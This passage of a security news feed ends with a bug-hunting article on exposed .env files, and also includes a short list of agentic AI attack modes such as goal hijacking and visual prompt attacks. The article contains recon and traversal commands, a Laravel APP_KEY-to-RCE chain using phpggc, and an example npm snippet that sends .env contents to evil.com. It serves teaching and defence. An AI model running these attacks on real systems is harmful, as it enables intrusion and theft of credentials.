<li>Agentic Supply Chain Compromise —agent behavior can be affected by natural language rather than malicious code;</li>



<li>Goal Hijacking — adversarial instructions appear aligned with legitimate task completion, while silently redirecting the agent’s terminal goal;</li>



<li>Inter-Agent Trust Escalation —a compromised agent asserts false identity or inflates claimed permissions to an orchestrator;</li>



<li>Computer Use Agent (CUA) Visual Attack — agents operating through graphical interfaces can be manipulated through content that carries adversarial instructions for the agent;</li>



<li>Session Context Contamination —an adversary introduces data that biases the agent’s reasoning in subsequent steps, without triggering safety controls at any individual step;</li>



<li>MCP / Plugin Abuse — an update on the original taxonomy’s coverage of function compromise around MCP and plugin protocols, specifically attack surfaces specific to those protocols;</li>



<li>Capability / Architecture Disclosure —an agent reveals internal implementation details such as tool names and schemas, system-prompt structure, memory interfaces, or consent/human-in-the-loop trigger logic.</li>
</ul>



<p>Microsoft advises security teams using these definitions to influence their planning to inventory their your supply chain, generating a software bill of materials (SBOM) for every deployed agent, to verify agent identity cryptographically, not positionally, by issuing <a href="https://www.csoonline.com/article/4163365/what-cisos-need-to-get-right-as-identity-enters-the-agentic-era.html">attestable credentials</a> at provisioning, to add the seven new failure modes to their red-team coverage matrix, and to audit the human-in-the-loop user experience as a security control.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI IPO Race Heats Up, DOGE Whistleblower Sues Elon Musk, and Instagram Gets Hacked]]></title>
<description><![CDATA[On Uncanny Valley, we dive into the IPO bonanza that the top AI companies are embarking on to the point where some real estate listings are looking for not just regular old cash, but Anthropic stock.]]></description>
<link>https://tsecurity.de/de/3573655/it-nachrichten/the-ai-ipo-race-heats-up-doge-whistleblower-sues-elon-musk-and-instagram-gets-hacked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573655/it-nachrichten/the-ai-ipo-race-heats-up-doge-whistleblower-sues-elon-musk-and-instagram-gets-hacked/</guid>
<pubDate>Thu, 04 Jun 2026 20:47:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On Uncanny Valley, we dive into the IPO bonanza that the top AI companies are embarking on to the point where some real estate listings are looking for not just regular old cash, but Anthropic stock.]]></content:encoded>
</item>
<item>
<title><![CDATA[These milestones reflect the urgency of protecting a rapidly digitizing economy.]]></title>
<description><![CDATA[Author: PQShield - Bewertung: 0x - Views:4 India has established a clear timeline for securing its most critical systems against the quantum threat. On the latest episode of Shielded, @Teja talks about an aggressive and ambitious timeline that the country aims for:

2027: Completion of initial pr...]]></description>
<link>https://tsecurity.de/de/3573275/videos/these-milestones-reflect-the-urgency-of-protecting-a-rapidly-digitizing-economy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573275/videos/these-milestones-reflect-the-urgency-of-protecting-a-rapidly-digitizing-economy/</guid>
<pubDate>Thu, 04 Jun 2026 18:18:11 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PQShield - Bewertung: 0x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3AwgdfXVMnc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>India has established a clear timeline for securing its most critical systems against the quantum threat. On the latest episode of Shielded, @Teja talks about an aggressive and ambitious timeline that the country aims for:<br />
<br />
2027: Completion of initial preparation and planning.<br />
<br />
2028: Migration of high priority systems begins.<br />
<br />
2029: Full migration achieved for critical information infrastructure.<br />
<br />
These milestones reflect the urgency of protecting a rapidly digitizing economy.<br />
<br />
🎧 Hear the full conversation today:<br />
<br />
Spotify: https://open.spotify.com/episode/2I8pI5S8NNBpwCH3eOGDtn?si=b18bb44c47fd40de<br />
<br />
Apple: https://podcasts.apple.com/us/podcast/phased-timelines-dsci-roadmap-for-indias-pqc-migration/id1801522285?i=1000771147132<br />
<br />
YouTube: https://youtu.be/4MbwcovC82o<br />
<br />
#PostQuantumCryptography #DSCI #CyberResilience #QuantumSafe #ShieldedPodcast<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your outsourcing contract needs XLAs, not just SLAs]]></title>
<description><![CDATA[I’ve lost count of how many clients have called frustrated, not because their managed services provider (MSP) was missing SLAs, but because meeting every SLA still wasn’t helping employees do their jobs. Tickets close on time, uptime stays above target, and scorecards are green across the board y...]]></description>
<link>https://tsecurity.de/de/3572158/it-nachrichten/your-outsourcing-contract-needs-xlas-not-just-slas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572158/it-nachrichten/your-outsourcing-contract-needs-xlas-not-just-slas/</guid>
<pubDate>Thu, 04 Jun 2026 12:17:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I’ve lost count of how many clients have called frustrated, not because their managed services provider (MSP) was missing SLAs, but because meeting every SLA still wasn’t helping employees do their jobs. Tickets close on time, uptime stays above target, and scorecards are green across the board yet employees remain frustrated by broken processes, recurring issues, and support that feels transactional instead of useful.</p>



<p>The help desk resolves tickets quickly without solving underlying problems, so employees create their own workarounds. This is the watermelon effect: green on the outside, red on the inside. It remains one of the most persistent problems in outsourced IT today.</p>



<h2 class="wp-block-heading">Patterns across major MSP relationships</h2>



<p>I see this pattern across relationships with every major provider. These are sophisticated organizations with mature delivery capabilities that can absolutely hit the metrics you put in front of them. That’s precisely the problem.</p>



<p><a href="https://www.cio.com/article/4160884/you-selected-the-right-vendors-now-govern-them-like-you-mean-it.html?utm=hybrid_search">Vendors</a> optimize for whatever the contract measures. If your contract only measures operational outputs, that’s what your provider will focus on. They’re not doing anything wrong. They’re doing exactly what the contract incentivizes.</p>



<p>What I’ve seen time and again is that the contracts organizations signed five or seven years ago were designed for a different model of IT support, one that enforces compliance and control costs. They weren’t designed to drive outcomes or improve the employee experience, and in many cases, those contracts are still running.</p>



<p>Realigning a major MSP relationship isn’t simply a matter of telling the provider to do better. It requires changing what the contract measures. That’s where experience level agreements come in.</p>



<h2 class="wp-block-heading">Why SLAs weren’t designed to measure what matters most</h2>



<p>SLAs were built for an earlier era of IT. The logic was straightforward: define the service, establish operational standards, measure compliance, and apply financial consequences when performance falls short. It’s precise, auditable, and legally defensible.</p>



<p>But SLAs measure the process, not the outcome. A service desk can resolve 95% of tickets within the agreed timeframe and still leave employees feeling completely unsupported. An application can technically meet uptime standards while being so slow and unreliable that employees avoid using it. That gap, between what the contract measures and what employees actually experience, is where productivity leaks, morale erodes, and the business case for outsourcing quietly unravels.</p>



<p>I’ve sat in enough quarterly business reviews with providers to know how this dynamic plays out. The provider presents a polished scorecard. Every metric is green or amber. The client’s internal stakeholders raise concerns about employee complaints, escalating shadow IT, and department heads who have stopped submitting tickets because they’ve given up. The provider points to the scorecard and there’s no mechanism in the contract to address the gap.</p>



<p>That’s a contract design problem, not a provider capability problem. And it’s one that experience-based measurements like XLAs are specifically designed to solve.</p>



<h2 class="wp-block-heading">The shift organizations need to make, and why it’s hard</h2>



<p>When I work with clients on <a href="https://www.cio.com/article/405257/6-top-managed-cloud-services-providers-and-how-to-choose.html?utm=hybrid_search">realigning MSP relationships</a>, the conversation often starts with frustration, and the solution isn’t straightforward either. Organizations face real structural barriers to making this shift, like with baseline data, for instance. You can’t set meaningful experience targets without knowing where you’re starting from. Many of my clients have been operating on SLA-only contracts for years, sometimes with the same provider, and they have no employee experience data at all. They know ticket volumes and resolution times, but they have no idea how employees actually feel about the service.</p>



<p>Contract language is another issue. Major MSPs have mature commercial teams that are very skilled at navigating ambiguous commitments. Improving the employee experience isn’t a contractual commitment. A defined happiness score is, one that’s measured by a specific tool, and reported monthly with agreed escalation protocols when thresholds are missed.</p>



<p>Another is incentive alignment. The most common mistake I see organizations make is converting an XLA into a penalty mechanism. If the only consequence for missing an experience target is a financial deduction, providers will manage the number rather than the experience. The most effective XLA structures I’ve worked on combine penalties for persistent underperformance with shared gain mechanisms that reward genuine improvement.</p>



<h2 class="wp-block-heading">Four ways to structure XLAs in an outsourcing contract</h2>



<p>Based on what I’ve seen work across client relationships, there are four practical models for building XLAs into a contract. The right starting point depends on where the organization and the provider relationship currently are.</p>



<p><strong>1. Commit to a defined experience score</strong>. The vendor commits contractually to achieving a defined satisfaction threshold. This is the most rigorous model and requires established baseline data on both sides. It works best when the relationship has been running for at least six to 12 months and both parties have experience measurement in place.</p>



<p><strong>2. Commit to a digital experience score</strong>. Here, the XLA is tied to a broader digital employee experience (DEX) score that combines employee sentiment with technical telemetry. Providers like HCL and Cognizant increasingly support this model through partnerships with platforms like Nexthink.</p>



<p><strong>3. Commit to continuous improvement</strong>. Rather than setting fixed thresholds immediately, both parties agree to a shared obligation to improve experience metrics over time, with targets reviewed and reset every six months. This is usually the best entry point for organizations that are new to experience measurement. It builds a data baseline, establishes a culture of shared accountability, and avoids the trap of locking in arbitrary targets before either party understands the benchmarks.</p>



<p><strong>4. Commit to delivering the XLA capability</strong>. In this model, the provider takes responsibility for building and operating the measurement infrastructure itself. This works well when the client lacks internal XLA capability but still wants accountability built into the relationship from the outset. I’ve seen this work particularly well in new contract structures with Accenture and Capgemini, both of which have invested in building proprietary experience measurement frameworks.</p>



<h2 class="wp-block-heading">What XLAs actually measure</h2>



<p>Unlike SLAs, which focus on technical outputs, XLAs focus on human outcomes. The metrics I most commonly see built into client contracts include:</p>



<ul class="wp-block-list">
<li>Employee satisfaction scores</li>



<li>Perceived lost productivity time</li>



<li>Repeat incident rates for the same underlying issue</li>



<li>Ease of getting support across different channels</li>



<li>Task completion success rates</li>



<li>Confidence in IT services overall</li>
</ul>



<p>The goal isn’t to eliminate SLAs as systems still need uptime targets and response standards, and providers operate at a scale where those operational commitments genuinely matter. So the goal is to add the missing layer of whether or not employees feel supported and productive, not just if tickets are being processed.</p>



<h2 class="wp-block-heading">The data infrastructure behind a working XLA program</h2>



<p>Strong XLA programs depend on three categories of data working together. Getting this right is often where the real negotiation with providers happens, because <a href="https://www.cio.com/article/4168669/7-signs-your-data-isnt-ready-for-ai.html?utm=hybrid_search">data ownership</a> and transparency are genuinely contested terrain in major MSP relationships.</p>



<p><strong>Experience data (X-data)</strong>: This is the human layer, how employees feel about their IT experience. It comes from pulse surveys, post-interaction feedback, and always-on feedback channels. Platforms like HappySignals, Nexthink, and Qualtrics are commonly used. One of the most important negotiating points I work through with clients is ensuring that this data is owned by the client, not the provider. Some MSPs propose operating the measurement platform themselves, which creates a structural conflict of interest.</p>



<p><strong>Operational data (O-data)</strong>: This is the traditional metrics layer already stored in ITSM platforms most common among our clients like ServiceNow or Jira Service Management. Most providers already produce this data and the value comes from correlating it with experience data, not treating it in isolation.</p>



<p><strong>Technical data (T-data)</strong>: This is the infrastructure layer comprised of device health, application performance, network latency, and endpoint health. Platforms like Nexthink and 1E collect this telemetry passively. When experience scores drop, correlating against technical data tells you whether the problem is the technology environment, the support process, or the service interaction itself. Without that triangulation, you know something is wrong but can’t pinpoint why.</p>



<h2 class="wp-block-heading">The transparency problem</h2>



<p>In my experience, the biggest failure point in XLA programs isn’t the metrics but transparency. When clients hide poor experience scores or providers obscure unfavorable data, the foundation of the XLA model breaks down.</p>



<p>I’ve seen MSPs manage the measurement platform and report improving scores, only for independent measurement to reveal a very different reality. The strongest XLA programs treat experience data as jointly owned, openly shared, and central to collaborative problem-solving.</p>



<p>Contracts create accountability, but governance drives improvement. Weekly working sessions, monthly reviews, and leadership steering meetings matter far more than scorecards alone. Building that level of transparency is often the hardest part.</p>



<h2 class="wp-block-heading">The shift from service delivery to outcome delivery</h2>



<p>The shift from SLA-only contracts to XLA-enabled outsourcing reflects more than a new measurement framework. It signals a fundamental change in how organizations define IT value. Cost and efficiency still matter, but leading organizations are now asking whether technology investments improve employee productivity, reduce frustration, and create better support experiences. That requires a different level of provider accountability.</p>



<p>MSPs can deliver experience-based outcomes, but they rarely prioritize them unless contracts demand it. XLAs formalize those expectations, and increasingly, organizations see them as the standard for measuring meaningful IT performance.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation]]></title>
<description><![CDATA[The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.For bug bounty ...]]></description>
<link>https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</guid>
<pubDate>Thu, 04 Jun 2026 10:21:43 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.</p><p>For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.</p><p>For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TSS6p8MhJPdZtCHZZ0EC1g.png"><figcaption>Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</figcaption></figure><h3>Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You</h3><h4>The Anatomy of a .env File</h4><p>The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.</p><p>A typical .env file might contain:</p><pre>DB_HOST=production-db.internal.corp.com<br>DB_DATABASE=main_production<br>DB_USERNAME=root<br>DB_PASSWORD=Str0ng!Passw0rd<br>APP_KEY=base64:abcdef1234567890abcdef1234567890<br>AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE<br>AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY<br>STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc<br>REDIS_HOST=127.0.0.1<br>REDIS_PASSWORD=secret<br>MAIL_USERNAME=admin@corp.com<br>MAIL_PASSWORD=smtp_password_here</pre><p>One file. One misconfiguration. Total compromise.</p><h3>The 2024 Unit 42 Campaign: Scale of the Problem</h3><p>In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:</p><ul><li>110,000 domains scanned for exposed .env files</li><li>90,000+ unique leaked environment variables harvested</li><li>7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)</li><li>1,500+ social media account credentials</li><li>1,185 unique AWS access keys</li><li>333 PayPal OAuth tokens</li><li>235 GitHub tokens</li><li>111 HubSpot API keys</li><li>39 Slack webhooks</li></ul><p>The attack chain was elegant and terrifying:</p><blockquote>Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http://&lt;target&gt;/.env</blockquote><blockquote>Harvest — Extract all environment variables from accessible .env files</blockquote><blockquote>Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions</blockquote><blockquote>Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure</blockquote><blockquote>Exfiltrate — Steal data from S3 buckets and other cloud storage</blockquote><blockquote>Extort — Leave ransom notes threatening to sell the data on the dark web</blockquote><p><strong>Source:</strong> <a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation</a></p><h3>The 2026 Security Affairs Study: 12 Million Files</h3><p>Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:</p><ol><li>Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.</li><li>Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.</li><li>Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.</li><li>Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.</li><li>Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.</li></ol><h3>Part II: Real-World Bug Hunting with .env Files</h3><h3>Case Study 1: Azure Subdomain .env Disclosure</h3><p>Source: Infosec Writeups / Bug Bounty Program</p><p>A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:</p><pre>ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt</pre><p>The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.</p><p>By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:</p><pre>DB_CONNECTION=mysql<br>DB_HOST=internal-db.mysql.database.azure.com<br>DB_PORT=3306<br>DB_DATABASE=production_db<br>DB_USERNAME=admin<br>DB_PASSWORD=P@ssw0rd!<br>MAIL_HOST=smtp.sendgrid.net<br>MAIL_USERNAME=apikey<br>MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx</pre><p>Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.</p><h3>Case Study 2: Laravel APP_KEY to RCE Chain</h3><p>Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)</p><p>This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.</p><p>The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.</p><p>The exploitation chain:</p><ol><li>Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).</li><li>Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.</li></ol><pre># Clone phpggc<br>git clone https://github.com/ambionics/phpggc<br>cd phpggc<br><br># Generate a Laravel RCE gadget chain<br>php phpggc Laravel/RCE1 system 'id' --base64</pre><p>3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:</p><pre># Pseudocode for encrypting with the leaked APP_KEY<br>$payload = base64_decode('&lt;phpggc_output&gt;');<br>$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));<br>$iv = random_bytes(16);<br>$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);<br>$final = base64_encode($iv . $encrypted);</pre><p>4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.</p><p>5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.</p><p>Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.</p><h3>Case Study 3: GitHub Dorking for .env Files at Scale</h3><p>Source: Multiple bug bounty hunters</p><p>Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:</p><pre># Find all .env files across all public repositories<br>filename:.env<br><br># Find .env files in a specific organization<br>org:targetcompany filename:.env<br><br># Find .env files containing specific sensitive keys<br>filename:.env "AWS_ACCESS_KEY_ID"<br>filename:.env "DB_PASSWORD"<br>filename:.env "STRIPE_SECRET"<br>filename:.env "APP_KEY"<br><br># Find .env files mentioning a specific domain<br>"target.com" filename:.env<br><br># Combined: target company .env with API keys<br>org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")<br><br># Search for config files broadly<br>filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")</pre><p>Pro tip from hunters: Combine with extension: and path: operators:</p><pre># Search specific paths<br>path:config filename:.env<br>path:laravel filename:.env<br><br># Search for backup variants<br>filename:.env.bak<br>filename:.env.old<br>filename:.env.local<br>filename:.env.production</pre><p>The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.</p><h3>Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys</h3><p>Source: Sentry Security Blog / Prodefense.io</p><p>A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.</p><p>The attacker used Sourcemapper (a tool that reconstructs original source from .map files):</p><pre># Install sourcemapper<br>pip install sourcemapper<br><br># Download and reconstruct source from an exposed source map<br>sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/</pre><p>Inside the reconstructed source code, the hunter found:</p><pre>// Original source code exposed<br>const stripe = require('stripe');<br>const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');<br><br>// Internal API endpoints<br>const adminApi = 'https://internal-admin.target.com/api/v2/';<br>const deleteUserEndpoint = `${adminApi}users/delete/`;</pre><p>Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.</p><h3>Case Study 5: Exposed .git Directory — Full Source Code in Version Control History</h3><p><em>Source: PortSwigger Web Security Academy / NCSC Switzerland</em></p><p>A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.</p><pre># Recursively download the entire .git directory from the live server<br>wget -r https://target.com/.git/<br><br># Check the Git log for secrets that were "removed"<br>git log -p | grep -E 'password|secret|key|token|AKIA'</pre><p>The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.</p><p>Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: <em>"Remove admin password from config"</em>. The diff showed the previous version of the config file with the hardcoded admin password still in Git history:</p><pre>git show &lt;commit_hash&gt;<br># Output:<br># - ADMIN_PASSWORD=SuperSecretPass123!<br># + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}</pre><p>The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.</p><h3>Part III: Advanced Reconnaissance &amp; Hunting Methodology</h3><h3>Phase 1: Subdomain Enumeration</h3><p>Before you can find exposed files, you need to know where to look.</p><pre># Passive enumeration<br>subfinder -d target.com -o subdomains.txt<br>amass enum -passive -d target.com -o amass.txt<br>assetfinder --subs-only target.com &gt;&gt; subdomains.txt<br><br># Active enumeration<br>ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt<br><br># Certificate Transparency<br>curl -s "https://crt.sh/?q=%25.target.com&amp;output=json" | jq -r '.[].name_value' | sort -u<br><br># Combine and deduplicate<br>cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt</pre><h3>Phase 2: Content Discovery for .env Files</h3><pre># Using ffuf for .env file discovery<br>ffuf -u https://target.com/FUZZ \<br>  -w wordlist.txt \<br>  -fc 403,404 \<br>  -t 100<br><br># .env-specific wordlist<br>echo ".env<br>.env.bak<br>.env.old<br>.env.save<br>.env.local<br>.env.production<br>.env.development<br>env.txt<br>env<br>.env.example" &gt; env_wordlist.txt<br><br># Recursive discovery with feroxbuster<br>feroxbuster -u https://target.com \<br>  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \<br>  -x env,txt,bak,old,swp,save,conf,config \<br>  --depth 3 \<br>  --silent</pre><h3>Phase 3: Advanced GitHub Dorking</h3><pre># Automated GitHub dorking with gitdorker<br>gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output<br><br># Manual targeted dorks<br>site:github.com target.com filename:.env<br>site:github.com target.com "DB_PASSWORD"<br>site:github.com target.com "sk_live_" "Stripe"<br>site:github.com target.com "AKIA" "AWS"<br>site:github.com "target" filename:".env" "APP_KEY"</pre><h3>Phase 4: Source Map Enumeration</h3><pre># Check for source maps on live targets<br>cat live_hosts.txt | while read url; do<br>  # Try common source map locations<br>  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"<br>done<br><br># Reconstruct and grep for secrets<br>sourcemapper -url https://target.com/js/app.js.map -output ./recon/<br>grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/</pre><h3>Phase 5: Directory Traversal Testing</h3><p>Sometimes .env files are not at the root but accessible through path traversal:</p><pre># Path traversal payloads<br>ffuf -u https://target.com/page.php?file=FUZZ \<br>  -w traversal_wordlist.txt<br><br># Common traversal wordlist entries<br>../../../.env<br>..%252f..%252f..%252f.env<br>....//....//....//.env<br>..\;../..\;../.env<br>/static/../../../.env</pre><h3>Part IV: The Expanded Attack Surface Beyond .env</h3><h3>Source Maps</h3><p>Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.</p><p>What source maps can reveal:</p><ul><li>Original source code and business logic</li><li>Developer comments (TODOs, FIXMEs, known bugs)</li><li>Internal API endpoints and admin panels</li><li>Hardcoded credentials</li><li>Third-party integration details</li><li>Environment variable expectations</li></ul><pre># Check for common source map locations<br>curl -si https://target.com/static/js/main.abc123.js.map<br>curl -si https://target.com/assets/js/app.js.map<br>curl -si https://target.com/build/js/bundle.js.map<br><br># Parse source maps for secrets (Node.js)<br>npm install -g source-map-cli<br>curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'</pre><h3>Exposed .git Directories</h3><p>The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.</p><p>Tools for .git exploitation:</p><pre># git-dumper - downloads entire .git repo<br>git-dumper https://target.com/.git/ ./downloaded_repo/<br><br># GitTools - extract from exposed .git<br>git clone https://github.com/internetwache/GitTools<br>cd GitTools/Dumper<br>./gitdumper.sh https://target.com/.git/ ./repo/<br>cd GitTools/Extractor<br>./extractor.sh ./repo/ ./extracted/<br><br># Search entire Git history for secrets<br>cd extracted<br>git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'<br>git log --all --diff-filter=D --summary | grep delete  # Find deleted files</pre><h3>Backup Files</h3><p>Developers frequently create backup files during maintenance:</p><pre># Common backup file extensions<br>.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)<br><br># Fuzzing for backup files<br>ffuf -u https://target.com/FUZZ \<br>  -w backup_wordlist.txt<br><br># Example wordlist entries<br>config.php.bak<br>.env.bak<br>database.php.old<br>wp-config.php~<br>index.php.swp<br>.env.save</pre><h3>Configuration Files</h3><p>Beyond .env, other config files often contain secrets:</p><pre># Common config files to hunt<br>config.json<br>config.php<br>config.js<br>settings.py<br>application.properties<br>application.yml<br>database.yml<br>credentials.json<br>service-account.json<br>wp-config.php</pre><h3>Part V: The Supply Chain Angle — Malicious Dependencies</h3><p>Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:</p><pre>// Malicious package.js (hypothetical but based on real incidents)<br>const fs = require('fs');<br>const https = require('https');<br><br>// Read .env file<br>const envContent = fs.readFileSync('.env', 'utf8');<br><br>// Exfiltrate to attacker server<br>https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);</pre><p>Real incidents:</p><ul><li>Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale</li><li>@ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets</li><li>node-ipc supply chain attack — Malicious versions published to target specific developers</li><li>Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore</li></ul><h3>Part VI: Defense in Depth — How to Protect Against .env Exposure</h3><h3>Immediate Remediation</h3><ol><li>Block hidden files at the server level</li></ol><pre># Apache<br>&lt;FilesMatch "^\."&gt;<br>    Require all denied<br>&lt;/FilesMatch&gt;</pre><pre># Nginx<br>location ~ /\.(?!well-known) {<br>    deny all;<br>    return 404;<br>}</pre><pre>// IIS<br>&lt;system.webServer&gt;<br>    &lt;security&gt;<br>        &lt;requestFiltering&gt;<br>            &lt;hiddenSegments&gt;<br>                &lt;add segment=".env" /&gt;<br>            &lt;/hiddenSegments&gt;<br>        &lt;/requestFiltering&gt;<br>    &lt;/security&gt;<br>&lt;/system.webServer&gt;</pre><p>2. Remove .env from web-accessible directories -- Move it outside the document root.</p><p>3. Implement CSP headers to restrict where scripts can load from.</p><p>4. Disable source maps in production builds:</p><pre>// webpack.config.js<br>module.exports = {<br>  // ...<br>  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',<br>};<br><br>// vite.config.js<br>export default defineConfig({<br>  build: {<br>    sourcemap: process.env.NODE_ENV !== 'production',<br>  },<br>});<br><br>// next.config.js<br>module.exports = {<br>  productionBrowserSourceMaps: 